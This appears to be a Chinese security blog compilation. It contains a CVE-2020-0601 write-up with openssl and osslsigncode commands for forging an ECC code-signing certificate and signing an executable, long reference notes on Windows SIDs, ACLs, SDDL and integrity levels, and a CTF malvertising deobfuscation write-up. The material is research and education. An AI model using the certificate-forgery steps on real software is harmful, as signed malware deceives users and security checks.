写入参数证书中,并且将2作为私钥写入到一个我们需要被验证的签名里面,这样的话就能够满足PubKey不变,同时满足。所以此时被公钥加密过的内容能够被私钥解密,同时保证证书的自校验能够通过。由于Windows对证书的验证过程中,指挥检测公钥的基本信息(和已安装的证书内容进行比较),所以我们可以找一个用了ECC加密的根证书。然后将这个根证书中的G进行修改。这样我们就能自己伪装成CA,使用这个ECC证书对我们自己的CSR进行签名。这样当我们就能获得一个来自ECC官方签名后的证书。
首先这里放出参考别人写的Poc
:
1 |
|
因为搜了很久,找不到 python 操作证书的细节,所以只能用C来写了。其实整个PoC做的事情很简单:
USERTrustECCCertificationAuthority.crt
中的内容因为上文提过,证书只要加上-param_enc explicit参数,就允许自定义证书中的算法参数。这个漏洞正是利用了这个特点,在不改变公钥的前提下,将私钥和生成元自定义。
然后使用如下的指令生成自己的CA:
1 | .\openssl.exe req -key USERTrustECCCertificationAuthority.crt_modify -new -out FakeCA.crt -x509 -set_serial 0x5c8b99c55a94c5d27156decd8980cc26 |
之后就能够用这个CA给CSR签名了。我们随便生成一个证书并且发起请求:
1 | .\openssl.exe ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey-test.pem |
然后用CA对这个请求进行授权,得到一个CA授权的证书:
1 | \openssl.exe x509 -req -in .\prime256v1_req.csr -CA .\FakeCA.crt -CAkey .\USERTrustECCCertificationAuthority.crt_modify -CAcreateserial -out fake-test-cert.crt -days 500 -extensions v3-req |
这样就做出了一个可以用于签名的证书。不过首先要将这些证书打包:
1 | .\openssl.exe pkcs12 -export -in .\fake-test-cert.crt -inkey .\prime256v1-privkey-test.pem -certfile .\FakeCA.crt -name "Fake Sign" -out fakep12.p12 |
这边证书打包成了PKCS#12
的格式,然后我们使用签名工具osslsigncode
进行签名(微软的signcode.exe似乎没办法对PKCS#12
格式的文件进行签名)
1 | osslsigncode sign -pkcs12 fakep12.p12 -n "Singed by l1nk" -in test.exe -out test-l1nk.exe |
最后我们检查一下被签名的文件:
可以看到,我们成功伪造了一个签名。
很多的文章提到,微软修复了APICertVerifyCertificateChainPolicy
调用的CertDllVerifyMicrosoftRootCertificateChainPolicy
这个API的bug,从而修复了这个问题。但是我发现,无论是微软的signcode.exe
,还是我自己写API去check这个签名的时候,又或者直接点开证书的时候,都会发现实际上程序能够发现漏洞,使用API check的时候会爆出错误:CERT_E_UNTRUSTEDROOT
,也就是当前根证书不可信,与其他两种方法去verify证书的时候爆出的错误类型一致。
这是不是就说明实际上的问题这个API出现的问题实际上不是这个漏洞真正的成因呢?这个就当作最近的TODOList了
这里记录一些研究过程中参考过的相关资料(内容不太全)
因为OpenSSL定义的证书中的细节是用 ASN.1 的协议来定义的,所以这边需要介绍一下这个协议的细节:
1 | SubjectPublicKeyInfo ::= SEQUENCE { |
这个是X.509
证书协议中定义的ASN.1
形式的结构体.这个结构中描述了两个关键内容:
然后这个AlgorithmIdentifier
定义如下:
1 | AlgorithmIdentifier ::= SEQUENCE { |
这个algorithm
定义了算法本身,算法分为以下几种:
通常我们使用的是第一种。这里我们详细介绍一下第一种算法的细节。如果使用第一种算法的话,此时的OBJECT IDENTIFIER
定义如下:
1 | id-ecPublicKey OBJECT IDENTIFIER ::= { |
之后必须包含如下的参数:
1 | ECParameters ::= CHOICE { |
namedCurve指定了当前椭圆曲线算法中具体使用的椭圆曲线算法类型。包含如下的类型:
1 | secp192r1 OBJECT IDENTIFIER ::= { |
这个位置定义了ECC使用的公钥。ECC 定义公钥语法如下
1 | ECPoint ::= OCTETSTRING |
椭圆曲线加密算法中对ECPoint的实现是未加密的形式。
这个ECPoint
虽然定义为OCTETSTRING
,但是实际上会映射到subectPublicKey
这个类型上。当前定义的第一个字节将会表明当前对象是否为压缩。若当前的密钥是未压缩的,则此时的开头为0x4,如果是压缩过的,则可能是0x2/0x3
未压缩的ECPoint
一般是65字节的。去掉开头的0x4
,则之后64字节平分为两部分,前面32字节为Point.x
后面32字节为Point.y
。
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0601
https://msrc-blog.microsoft.com/2020/01/14/january-2020-security-updates-cve-2020-0601/
https://github.com/kudelskisecurity/chainoffools
https://www.itu.int/ITU-T/formal-language/itu-t/x/x509/2005/AuthenticationFramework.html
在这一章节将会出现大量的定义来说明清楚一些功能,所以可能会出现【定义之间相互嵌套】【某些同义词被混用】的情况。我会尽可能的避免,不过可能还是有这种事情,所以对于全局搜索关键字来找上下文来说可能会有点不方便。。。并且文章内容很多,可能会分成两部分
标准定义为:安全对象就是能够拥有安全描述符的对象。基本上就是 Windows 中定义的大部分内核对象。具体来讲,就是
每一种不同的安全对象都定了属于自己的对安全描述符的控制函数。例如对于文件对象来捉,相关的安全描述符操控API就有:
1 | GetNamedSecurityInfo, SetNamedSecurityInfo, GetSecurityInfo, SetSecurityInfo |
这四种。
具体的定义可以查看这里:
https://docs.microsoft.com/en-us/windows/win32/secauthz/securable-objects
基本上,所有的安全对象,安全对象从属的组(Group),以及安全对象被定义的规则 ACE 等等,用来确定一个安全操作实体的唯一标识符,就是SID。SID的结构如下:
1 | typedef struct _SID { |
其实就是一串数字定义,SDK中的的定义如下:
1 | //////////////////////////////////////////////////////////////////////// |
简单来说,一般由以下这几部分组成:
1 | +----------------|------------------------------|-----------------------------------------------------| |
一个SID的格式一般为:
1 | S-1-5-21-3132430673-2316732214-352203560-1001 |
这个SID是我机器上用户的SID。
身份授权机构的值(上述的5)定义了提出SID的从属对象,例如5来表示当前的SID是由Windows local system/Domain
这一块提出,则这一段SID将会与Windows local system/Domain
相关。
子授权值表明了与身份授权机构相关的身份的委托人标识符。如果用刚刚的例子继续表示的话,21就是子授权机构。
RID(上述的Yn)表述域内用户的身份。一般普通用户从1000开始,每出现一个普通用户(User)就+1。如果一个SID的RID=1003,意味着已经有4个User在这个电脑上了。其中这些RID有一些是默认值,例如:
除了上述提到的RID有固定的定义,其实还有许多SID是微软预定义的,例如:
除此之外,还有一些微软预定义的SID,例如:
这里的32
表示的域其实是表示的内置(builtin)的意思。所以每台计算机上都会有一个当前内建组。
除此之外还有:
进程Winlogin 会为每一个互动登陆回话创建一个独立的登陆SID。一个典型的logon SID的作用就是对于每一个登陆用户在登陆期间的回话中的权限控制ACE(Aceess Control Entry)。例如API
1 | LogonUser |
可以用来创建一个新的登陆会话。API将会返回一个access token。这个access token可以被service解析成login SID。这个SID将可以在各种ACE中被使用来控制权限。这种Logon SID的形式一般为:
1 | S-1-5-5-X-Y |
正如前文所说,确定一个安全操作实体的唯一标识符,具体来说包括
AD(Active Directory)会将一个用户SID存储在用户或者组对象的ObjectSID
这个属性中。如果这个对象/组是新创建的话,还会给这个对象赋予一个GUID值。这个guid则是存放在ObjectGUID
这个属性中。
SID只能保证在域domain
中的唯一性。如果一个用户从一个域迁移到另一个域的时候,必须要获得一个新的SID。此时上一个SID会存储在属性SIDHistory(一个list)
中。
当认证通过的时候,domain里的认证机构将会查询和当前用户相关的所有SID,包括
这些值都会被计算,然后将所有计算出能够获得的权限放在token
中。
假设A用户被设置对B资源的权限为deny,如果用户换了域之后,此时的SIDObject未被设置Deny,那么A用户可以接触资源B吗?
这个是不可以的,SIDHistory中会记录当前deny的结果。
Capability SID 用于UWP
进程,也就是从Win8开始出现的AppContainer
进程中的权限管理。这个SID用于管理一些比较上层的资源,通常包括文档,摄像头等。
这类SID的开头标志通常为:
1 | S-1-15-3 |
Windows提供了一套相关的API,放在了acl
这个头文件里面。不过需要在代码的前面加上:
1 | #pragma comment(lib,"Advapi32") |
来表示自己引用了这个lib库。
创建一个SID的代码如下:
1 | SID_IDENTIFIER_AUTHORITY SIA_NT = SECURITY_NT_AUTHORITY; |
这是一个手动创建SID的过程。首先我们来看这个SID的整体定义:
1 |
|
定义了SIA_NT
,这个值对应的宏SECURITY_NT_AUTHORITY
其实是一个SID_IDENTIFIER_AUTHORITY
对象。在这里:
1 | //////////////////////////////////////////////////////////////////////// |
就是IdentifierAuthority
这个成员变量,其对应的数值{0,0,0,0,5}
,根据约定,这个值就表示当前SID的授权机构是NT
。基本可以和本地安全对象以及admin相关的SID都是由这个机构授权的。
第二个参数是SubAuthority Count
,我们给了2,表示当前存在两个子授权机构。根据代码,分别是SECURITY_BUILTIN_DOMAIN_RID(0x00000020L)
和DOMAIN_ALIAS_RID_ADMINS(0x00000220L)
。前者表明,当前子授权机构为当前的内置域(built-in domain),此时当前的SID所在的组可以认为是为S-1-5-0x20
,然后后者DOMAIN_ALIAS_RID_ADMINS
则是一个已知别名(well-known aliases),表示是域内的一个管理员(Admin)。将这两个颁发机构组合一下,就能够知道当前的SID为:
1 | S-1-5-0x20-0x220 |
也就是表示当前域内管理员这个含义,其实也就是常见的管理员SID。用相关工具可以查看:
1 | PsGetsid.exe S-1-5-32-544 |
访问控制实体(ACE)是ACL(Access Control List 访问控制链)中的一个元素,每个ACL可能包含多个ACE。ACE 用来控制/监控每一个特定受托者(Trustee)对对象的各类权限(读写,执行等)
Windows 中存在6中不同的ACE,其中有三种是所有的Windows对象共用的
Type | Description |
---|---|
Access-denied ACE | 在DACL中用来拒绝一个受托者的访问 |
Access-allowed ACE | 在DACL中用来允许一个受托者的访问 |
System-audit ACE | 当托管尝试执行相关权限的时候,在SACL中生成一个审计日志 |
访问权限(Access Rights)是一个由 bit 位组成的flag,用来表示线程可以对安全对象进行的操作。
访问掩码(Access Masks)是一个32-bit的整数,其中的每一个bit都表示了一个对象支持的一种访问权限。所有的Windows 安全对象都会使用一种叫做access mask format
(访问掩码格式)的方式存储访问方式。这其中包含如下的访问权限:
当线程尝试打开一个对象句柄的时候,就会请求响应的安全掩码来请求对应的访问权限。不同的对象有不同的设置访问掩码的API
上文提到的访问掩码格式在内存中的保存形式通常如下:
低16bit通常用来表示一个对象特定的权限
之后的8bit用来表示标准访问权限,对应的权限分别是
16bit DELETE
17bit READ_CONTROL
18bit WRITE_DAC
19bit WRITE_OWNER
20bit SYNCHRONIZE
24bit ACCESS_SYSTEM_SECURITY
用来表示对对象的SACL的访问权限。
25bit 为 Maximum allowd(MAXIMUM_ALLOWED),可以用来获得一个对象的所有访问权限(但是ACE对象不能以这个权限打开)
最高位的4bit用来表示通用访问权限
这个权限表示的是每一个安全对象都会拥有的一些权限(但是细节上指代的并不是相同的内容)。每一个Windows下的安全对象都会将这些权限映射到一些合适的权限上。例如Windows
下的文件对象会将GENERIC_READ
映射到READ_CONTROL
这个权限上,而SYNCHRONIZE
这个权限则会映射到FILE_READ_DATA,FILE_READ_EA,FILE_READ_ATTRIBUTES
这三个权限上。不同的对象都会有不同的映射方式。
当尝试打开一个对象句柄的时候,就能够指定我们需要的权限。
通用访问权限总共有如下几种:
Constant | Generic meaning |
---|---|
GENERIC_ALLAll | possible access rights |
GENERIC_EXECUTE | Execute access |
GENERIC_READ | Read access |
GENERIC_WRITE | Write access |
每种安全对象都有一组访问权限,这些访问权限针对于当前对象的特定操作。除了这种特定对象的访问权限,还有上述提到的通用访问权限,用于指代每一个安全对象中都有的通用权限控制。Winnt.h
中定义的标准访问权限有如下几种:
Constant | Meaning |
---|---|
DELETE | 删除对象的权限 |
READ_CONTROL | 读取对象安全描述符的权限,但是不包括SACL |
SYNCHRONIZE | 同步对象的权限。这个权限保证线程能够等待这个对象,直到这个对象进入信号状态(signaled state)(也就是能够wait mutex一类的)有一些对象不支持这个访问权限 |
WRITE_DAC | 修改对象安全描述符中的DACL的权限 |
WRITE_OWNER | 修改对象安全描述符中的从属者(onwer) |
Winnt.h
中还定义了一些上述权限的组合(这个用的比较多)
Constant | Meaning |
---|---|
STANDARD_RIGHTS_ALL | Combines DELETE, READ_CONTROL, WRITE_DAC, WRITE_OWNER, and SYNCHRONIZE access. |
STANDARD_RIGHTS_EXECUTE | Currently defined to equal READ_CONTROL. |
STANDARD_RIGHTS_READ | Currently defined to equal READ_CONTROL. |
STANDARD_RIGHTS_REQUIRED | Combines DELETE, READ_CONTROL, WRITE_DAC, and WRITE_OWNER access. |
STANDARD_RIGHTS_WRITE | Currently defined to equal READ_CONTROL. |
每一个AD(Active Directory)对象都有一个安全描述符。一系列指定为目录服务的的受托者能够被设置在安全描述符内。具体可以查看这里
SACL的访问权限收到之前提到的ACCESS_SYSTEM_SECURITY
bit位的控制。只有在access token(访问token)
活动了SE_SECURITY_NAME
的特权的时候,才能够修改SACL。MSDN上给出的访问对象SACL的途径为:
AdjustTokenPrivileges
获得SE_SECURITY_NAME
特权。ACCESS_SYSTEM_SECURITY
权限。GetSecurityInfo/SetSecurityInfo
尝试获取SACL。AdjustTokenPrivileges
来去除SE_SECURITY_NAME
特权。通常的ACE都是具有继承关系的(具体来说,就是设置了INHERITED_ACE这个标志位)。ACE的继承关系为:
这个对象用于支持directory service(DS)
。也就是如果一个对象中的属性按照类似于目录的形式保存的时候,可以特定对象中对于一些属性的访问权限。
一个DS
对象的DAC对于App L
可以包含一个具有层级关系的ACEs,具有如下特性
使用阶级关系的ACE,就能对更加底层的属性进行设置。如果一个作用在属性集上的特定对象ACE允许一个受托者ADS_RIGHT_DS_READ_PROP
的权限,那么这个受托者将会被隐式的允许读取这个属性集下的所有属性。相似的,如果一个作用在对象的ACE允许一个受托者ADS_RIGHT_DS_READ_PROP
的权限,那么这个受托者将能够直接读取对象中的所有属性。
特定对象ACE包含了一些GUID,用于特定对象的一些基本属性。(通常用于对象继承)
实例
下图展示了的DS对象的树及其属性集和属性。
加入想要对DS对象的属性进行如下的控制:
那么属性可以以如下的方式展示:
Trustee | Object GUID | ACE type | Access rights |
---|---|---|---|
Group A | None | Access-allowed ACE | ADS_RIGHT_DS_READ_PROP | ADS_RIGHT_DS_WRITE_PROP |
Everyone | Property Set 1 | Access-allowed object ACE | ADS_RIGHT_DS_READ_PROP | ADS_RIGHT_DS_WRITE_PROP |
Everyone | Property C | Access-allowed object ACE | ADS_RIGHT_DS_READ_PROP | ADS_RIGHT_DS_WRITE_PROP |
由于DACL默认未设置的对象就会被deny,所以这边需要写清楚allow的权限。首先GroupA中不知名Object GUID,表明这个ACE将会作用在Object的所有属性上,所以GroupA的人将会获得对这个对象所有属性的读写权限。而EvenryOne第一次设置的Object GUID为属性集1,此时根据上图可知,Everyone拥有对属性AB的读写权限。最后一个ACE设置了Object GUID为属性C,此时表明Everyone将对属性C有访问权限。所以此时Everyone将无法对属性D进行访问。
说白了就是ACE的从属者。可以是应用ACE的一个用户的账户,一个登陆的session或者一个组。每一个在ACL中的ACE都会有一个SID。
这里的账户除了指用户登陆之外,还可以指代Windows Services(例如网络)在本地登陆时候的权限
组用户是不能用于登陆的(因为必须要指定某个人,不能以某个组的身份登陆),不过在ACE用于限制权限的时候非常方便,可以快速限制多个用户的访问权限。受托者使用了一个叫做TRUESTEE
的结构体来定义当前身份。:
1 | typedef struct _TRUSTEE_A { |
如上,我们可以发现ptstrName
和pSid
是一个union
关系,这意味着一个用户可以使用命名字符串或者SID的形式来区分一个受托者。对于使用名字的相关操作ACE的函数,这些函数都将会分配SID所需要的buffer,并且能够找到SID与名字的对应关系。
相关函数:
1 | BuildTrusteeWithSid //sid初始化 |
Windows还允许使用指定ACE来初始化TRUSTEE
结构体:
1 | BuildTrusteeWithObjectsAndSid |
这几个API涉及结构体中的这两个变量:
1 | OBJECTS_AND_SID *pObjectsAndSid; |
这两个变量指明了受托者名字/SID附加了特定对象ACE(object-specific ACE)的附加信息。这将会让例如SetEntriesInAcl
或者GetExplicitEntriesFromAcl
这类函数来将特定对象ACE存到TRUSTEE结构体中
是一系列ACE组成的链表(注意,有顺序的概念)。每一个ACL中的ACE确定一个受托者(Trustee)以及其相关的权限,包括aceess/deny/audit。每一个安全对象的安全描述符中定义了两种不同的ACL:DACL和SACL。
在头文件中的ACL定义如下
1 | //////////////////////////////////////////////////////////////////////// |
DACL定义受托者对一个安全对象的access/deny权限。当一个进程尝试去访问一个安全对象的时候,系统就会检查当前对象中的DACL中的ACEs以确认是否有权限去访问。
具体来说,系统会对比每一个ACE中的受托者与线程访问token中的受托者的权限。一个访问token包含安全标识符(SID),这些标识符将会用于表示指定的用户和组。token还包含用于标识当前session的session token。在权限确认阶段,系统将会忽略当前的没有被启用的组SID。
通常情况下,线程使用请求访问的线程的主要访问token(也就是通常意义上的用户普通token,也就是进程里面的那个token)。然而如果线程模拟了另一个用户(impersonate another user),此时系统将会使用模拟用户的token。
如果看到上述的描述会注意到,可能会存在一个ACEs的顺序问题。现在举一个例子:
一个访问过程发生的时候,实际上是线程与安全对象之间进行权限确认的过程。对于线程A,系统将会读取ACE1,此时会发现线程A的token是来自Andrew的,而Andrew在ACE1中被明确定义了不允许有RWX的权限,那么会直接返回拒绝访问。此时不会继续检查ACE2和ACE3
对于线程B,ACE1将不会生效(因为此时的ACE1不包含相关信息)那么系统将会继续检查ACE2,然后发现此时GroupA的人拥有读权限,那么此时Thread B 对Object的读权限就被许可了。之后发现ACE3中提到,任意对象都有写和执行的权限,所以最后Thread B将对对象拥有读写和执行三种不同的权限。
因此,当设置ACE的时候需要注意。一旦检查满足条件,那么ACE的check逻辑将会停止。如果上述例子将ACE3写在了最前面,那么Thread A也将获得读写执行的权限。
安全描述符,也就是描述一个安全对象中的安全相关信息的一个结构。一个安全描述符中由如下结构体组成:
1 | typedef struct _SECURITY_DESCRIPTOR { |
一个安全描述符通常包括:
应用不应该直接操作这个安全描述符,而应该尝试使用微软提供的一些API来对这个属性进行操作。微软提供了很多API能够创建和修改一个对象的安全描述符,接下来就会介绍创建的方法。
安全描述符定义语言定义了一个字符串格式,可以用来快速的生成安全描述符。如下的两组API就能够让SDDL和安全描述符之间进行快速转换:
1 | ConvertSecurityDescriptorToStringSecurityDescriptor |
一个完整的SDDL由以下四部分组成:
1 | owner (O:), primary group (G:), DACL (D:), and SACL (S:). |
owner_sid: 指定对象的SID Strings
SID Strings 除了之前已知的SID写法之外,还可以使用一些预先定义的短字符。例如:
SDDL SID string | Constant in Sddl.h | Account alias and corresponding RID |
---|---|---|
“AN” | SDDL_ANONYMOUS | Anonymous logon. The corresponding RID is SECURITY_ANONYMOUS_LOGON_RID. |
“AO” | SDDL_ACCOUNT_OPERATORS | Account operators. The corresponding RID is DOMAIN_ALIAS_RID_ACCOUNT_OPS. |
“DA” | SDDL_DOMAIN_ADMINISTRATORS | Domain administrators. The corresponding RID is DOMAIN_GROUP_RID_ADMINS. |
“DC” | SDDL_DOMAIN_COMPUTERS | Domain computers. The corresponding RID is DOMAIN_GROUP_RID_COMPUTERS. |
这里只罗列了一些,其余可以看这里:https://docs.microsoft.com/en-us/windows/win32/secauthz/sid-strings
group_sid: 指定对象组的SID Strings
dacl_flags:用于DACL上的安全描述符的控制位。控制位中可以包含下列字符串:
Control | Constant in Sddl.h | Meaning |
---|---|---|
“P” | SDDL_PROTECTED | The SE_DACL_PROTECTED flag is set. |
“AR” | SDDL_AUTO_INHERIT_REQ | The SE_DACL_AUTO_INHERIT_REQ flag is set. |
“AI” | SDDL_AUTO_INHERITED | The SE_DACL_AUTO_INHERITED flag is set. |
“NO_ACCESS_CONTROL” | SSDL_NULL_ACL | The ACL is null. |
sacl_flags:同DACL
string_ace:用于定义ACE的字符串。每一个完整的ACE需要用()
括起来。接下来就来详细的介绍一下这段内容:
每一个ACEs对象都有一个ACE_HEADER
的语法头结构
1 | typedef struct _ACE_HEADER { |
一个ACE定义字符串的常见格式为:
1 | ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;(resource_attribute) |
ace_type
表明了ACE_HEADER中的AceType成员。也就是allow/deny等相关定义。常见的有
ACE type string | Constant in Sddl.h | AceType value |
---|---|---|
“A” | SDDL_ACCESS_ALLOWED | ACCESS_ALLOWED_ACE_TYPE |
“D” | SDDL_ACCESS_DENIED | ACCESS_DENIED_ACE_TYPE |
“OA” | SDDL_OBJECT_ACCESS_ALLOWED | ACCESS_ALLOWED_OBJECT_ACE_TYPE |
“OD” | SDDL_OBJECT_ACCESS_DENIED | ACCESS_DENIED_OBJECT_ACE_TYPE |
“AU” | SDDL_AUDIT | SYSTEM_AUDIT_ACE_TYPE |
“AL” | SDDL_ALARM | SYSTEM_ALARM_ACE_TYPE |
其余查看小节末尾的文档
ace_flags
用来表明ACE_HEADER中的AceFlags成员。一般是和继承相关的属性:
ACE flags string | Constant in Sddl.h | AceType value |
---|---|---|
“CI” | SDDL_CONTAINER_INHERIT | CONTAINER_INHERIT_ACE |
“OI” | SDDL_OBJECT_INHERIT | OBJECT_INHERIT_ACE |
“NP” | SDDL_NO_PROPAGATE | NO_PROPAGATE_INHERIT_ACE |
“IO” | SDDL_INHERIT_ONLY | INHERIT_ONLY_ACE |
“ID” | SDDL_INHERITED | INHERITED_ACE |
“SA” | SDDL_AUDIT_SUCCESS | SUCCESSFUL_ACCESS_ACE_FLAG |
“FA” | SDDL_AUDIT_FAILURE | FAILED_ACCESS_ACE_FLAG |
rights
表明了ACE控制的控制权限,也就是当前定义的控制权。当前值可以定义为十六进制的字符串数字,或者是如下的字符串:
Generic access rights
Access rights string | Constant in Sddl.h | AceType value |
---|---|---|
“GA” | SDDL_GENERIC_ALL | GENERIC_ALL |
“GR” | SDDL_GENERIC_READ | GENERIC_READ |
“GW” | SDDL_GENERIC_WRITE | GENERIC_WRITE |
“GX” | SDDL_GENERIC_EXECUTE | GENERIC_EXECUTE |
Standard access rights
Access rights string | Constant in Sddl.h | AceType value |
---|---|---|
“RC” | SDDL_READ_CONTROL | READ_CONTROL |
“SD” | SDDL_STANDARD_DELETE | DELETE |
“WD” | SDDL_WRITE_DAC | WRITE_DAC |
“WO” | SDDL_WRITE_OWNER | WRITE_OWNER |
省略了不少,直接查看小节末尾文档即可。
object_guid
表明了一个**特定对象ACE(object-specific ACE)**结构体中的ObjectType
对象的GUID。(在使用ACCESS_ALLOWED_OBJECT_ACE
等操作的时候可以生效),可以使用API
1 | UuidToString |
对GUID进行转换
这个也有一些常见的对象GUID
Rights and GUID | Permission |
---|---|
CR;ab721a53-1e2f-11d0-9819-00aa0040529b | Change password |
CR;00299570-246d-11d0-a768-00aa006e0529 | Reset password |
inherit_object_guid
同上,不过用于特定对象ACE的InheritedObjectType
这个属性
account_sid
表明受托者SID的字符串
resource_attribute
可选:针对资源ACE。用于表明数据类型。
在resource_attribute中, '#'这个符号和’0’同一个意思
这个特性直到Windows 8之后才生效
Resource attribute ace data type string | Constant in Sddl.h | Data type |
---|---|---|
“TI” | SDDL_INT | Signed integer |
“TU” | SDDL_UINT | Unsigned integer |
“TS” | SDDL_WSTRING | Wide string |
“TD” | SDDL_SID | SID |
“TX” | SDDL_BLOB | Octet string |
“TB” | SDDL_BOOLEAN | Boolean |
1 | (A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-1-0) |
首先这个不是一个特定对象ACE,所以和object相关的位置并没有填入相关的guid。然后我们查表可知:
ACCESS_ALLOWED_ACE_TYPE
类型的ACESDDL_READ_PROPERTY|SDDL_WRITE_PROPERTY|SDDL_CREATE_CHILD|SDDL_DELETE_CHILD|SDDL_LIST_CHILDREN|SDDL_SELF_WRITE
。属性中说明具有对对象属性的读写权限,创建、罗列和删除子属性的权限,以及验证的写权限SDDL_READ_CONTROL|SDDL_WRITE_DAC|SDDL_WRITE_OWNER
表示对当前对象的安全描述符有读权限(对SACL没有),然后对对象安全描述符中的DACL有写权限,同事能够更改这个对象的安全描述符的拥有者。SDDL_GENERIC_ALL
表示是所有的权限这个实际的权限是:
1 | AceType: 0x00 (ACCESS_ALLOWED_ACE_TYPE) |
这段代码其实来自于chromium,是创建ACE的其中一种办法:
1 | bool AddSidToDacl(const Sid& sid, |
首先代码声明了一个EXPLICIT_ACCESS
,表明此时需要显示的声明一个ACE,然后分别指定了其access_mode
(表明当前的权限种类,可以是denied/revoke/grant等等),AceesssPermissions
(访问权限) 以及 grfInheritance
,此时相当于制定了当前权限控制的所有权限。之后通过指定Trustee
的一些基本属性(主要是SID),确认当前ACE的受托者是谁(也就是确认了作用对象),然后讲当前的ACE塞到指定的acl中。
除此之外,还能够通过类似的方式创建ACE。常见的API有:
1 | AddAccessAllowedAce |
这两个API能够直接添加指定的ACE。
1 | "O:AOG:DAD:(A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-0-0)" |
O:AO,也就是登陆账号的那个人
G:AD,域管理员权限
D:(A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-0-0) 上述实例中的ACE。
所以整段连起来看结果如下:
1 | Revision: 0x00000001 |
1 |
|
运行结束之后,可以通过属性查看目录的权限:
本质上用于审计的一个东西。管理员可以记录尝试访问安全对象。每个ACE将会指定由某个受托者尝试访问的类型,这些尝试将会在系统的安全事件日志中生成记录。当访问尝试失败,成功或两者都有的时候,SACL中的ACE可以生成审核记录。
从VISTA之后,SACL还可以用来指定强制访问等级与策略 mandatory access level and policy
,也就是用来设置对象的完整性等级(Integrity Levels)。默认的策略是No-Write-Up
较低完整性级别的进程允许读访问较高完整性级别的对象,但是不允许写访问。
从Win8之后,引入了AppContainer
,实现了更细粒度的控制
Windows使用IL来保护了每一个用户的每一个进程中对每一个对象的操作的权限操作。这个功能叫做强制完整性控制(Mandatory Integrity Control MIC)。MIC通过SRM,保证拥有低完整性的对象不能访问到高完整性的对象。
IL可以通过APIGetTokenInformation
来获取。这个IL同样受到SID的控制。尽管IL可以是任何值,不过系统中有6个默认值
每个进程的的IL都存在其token中,并且会以类似创建自进程的方式传播。
每个对象其实也像进程一样,存放了一个类似IL的东西在其安全描述符中,一般被称为(mandatary label ML)
。ML与IL同样被存放在ACE中。ML中有如下的限制权限
Policy | Present on | Default Description |
---|---|---|
No-Write-Up | Implicit on a objects | 限制来自低权限的进程对对象的写权限 |
No-Read-Up | Only on process objects | 限制低权限的进程会泄露敏感信息 |
No-Write-Up | Only on binraries implementing COM classes | 限制来自低权限的进程尝试在高权限进程中执行COM对象 |
1 |
|
开头的时候调用的这个DuplicateObject
其实是一个trick,主要是为了能够让当前的object从伪句柄转换成真实句柄,从而让之后的操作能够生效
首先创建了一个SID,这一次使用的是SECURITY_MANDATORY_LABEL_AUTHORITY
,也就是IL
,代表此时的SID由IL授权。
然后我们创建一个空的安全描述符和ACL,之后调用APIRtlAddMandatoryAce
向这个ACL中填充SID,并且指定ACE的种类为SYSTEM_MANDATORY_LABEL_ACE_TYPE
,也就是ACE种类为SACL中的ACE,最后指定这个object类型为OBJECT_INHERIT_ACE
,也就是说当前的ACE能够被非AppContainer的object继承。
完成之后,将当前的ACL设置到到安全描述符,再将安全描述符赋给当前对象,从而完成IL
的赋值。
当在活动目录域(Active Directory Domain)中创建一个对象的时候,是可以显示的知名一个对象的安全描述符的,此时对象的nTSecurityDescriptor
属性将被设置为安全描述符。
活动目录域(Active Directory Domain)使用如下的规则来创建DACL:
SE_DACL_PROTECTED
这个属性在安全描述符中被设置了。classSchema
中查找默认DACL,然后让父对象中可以继承的ACE合并到DACL中classShema
中不包含DACL,那么此时的DACL将会和创建这个对象的线程的token(primary/impersonate token)一致https://docs.microsoft.com/en-us/windows/win32/secauthz/ace-strings
(未完待续)
可以用来获取SID对应关系的神器,非常好用。
1 | WMIC useraccount get name,sid |
查看当前电脑上的sid
http://drops.xmd5.com/static/drops/tips-11803.html
https://docs.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-string-format
这个题目本意是模拟了恶意广告(那种覆盖页面,点击后会跳转的广告),然后顺着混淆的js
脚本找到源头,所以和Reverse
相关,但是全部都是发生在Web段。。。
题目是一个urlhttps://malvertising.web.ctfcompetition.com
随便点击之后就会跳转到google.com
上。对当前界面的代码进行审计,可以看到如下关键代码:
1 | <script> |
这个地方尝试加载了一个js脚本,于是去资源中找到这个脚本,不过基本上是看不懂的。。。用Chrome自带的格式化工具处理之后,大致如下:
1 | // 省略前面一大段 |
大致分析逻辑后发现,函数b
被反复的调用,并且动态调试后会发现,这个函数会对一些加密的内容进行解密,于是动态跟踪程序,在如下的位置下断点:
可以发现,这个地方解开了一段加载js的代码。然后在如下的位置:
1 | if (Number(/\x61\x6e\x64\x72\x6f\x69\x64/i[b('0x1b', 'JQ&l')](navigator[b('0x1c', 'IfD@')]))) { |
对加载的逻辑进行了判断。这个地方利用了js的各种特性,编码的部分扔到console
里面可以得到如下结果:
1 | '/\x61\x6e\x64\x72\x6f\x69\x64/i' |
直译过来就是
1 | if (Number(/android/i["test"](navigator["userAgent"]))) |
正则后面跟着["test"]
,就是利用js的特性,其实本质上是调用了/android/i.test
的正则匹配。这里的意思相当于说:读出当前浏览器的userAgent
,并且检测其中是否包含Android
字样。为了解决这个问题,可以利用Chrome的Toggle Device Bar
模拟切换浏览设备,如下:
这样就会进入第二个js文件
第二个js文件的内容如下:
1 | var T = {}; |
这个地方会检测一大堆的属性,并且检测我们当前的浏览器是否符合这些属性,然后用这个属性组合的密钥对一段密文进行解密。这个地方比较头疼,需要一个爆破逻辑。。。不过有几个地方可以限制一下爆破的范围:
Android
的操作系统,那么这个时候platform
就是Linux
然而因为编码问题,以为是上述思维有错,最后写了一个完全爆破脚本。。。
1 | function main_func(){ |
但是最后还是爆不出答案…结果知道比赛结束都没能做出来。之后仔细检查了逻辑,发现其实是比赛给的btoa
实现有问题!这里的哥们也提到了这个问题。我重新用npm
下载了一个数据包,然后再次爆破,终于能够找到可见字符:
1 | and now the answer is : |
于是赶紧去找到了这个文件
这个文件里面也使用了和Stage1中类似的算法,并且这一次上了反调试,如果使用调试器的话,会陷入一个死循环中出不来,而直接运行脚本,又会有如下的错误(我看网上的wp似乎没遇到这个问题。。)
考虑到隐藏的内容可能包含了答案,于是简单逆向,找到了加密算法_0x5877
,并且写了一个小jio本把里面所有调用的函数都捞了出来:
1 | _0x5877("0x0", "fYVo") !== "csEBi") |
一个个试了一下。。最后找到了关键的解密逻辑:
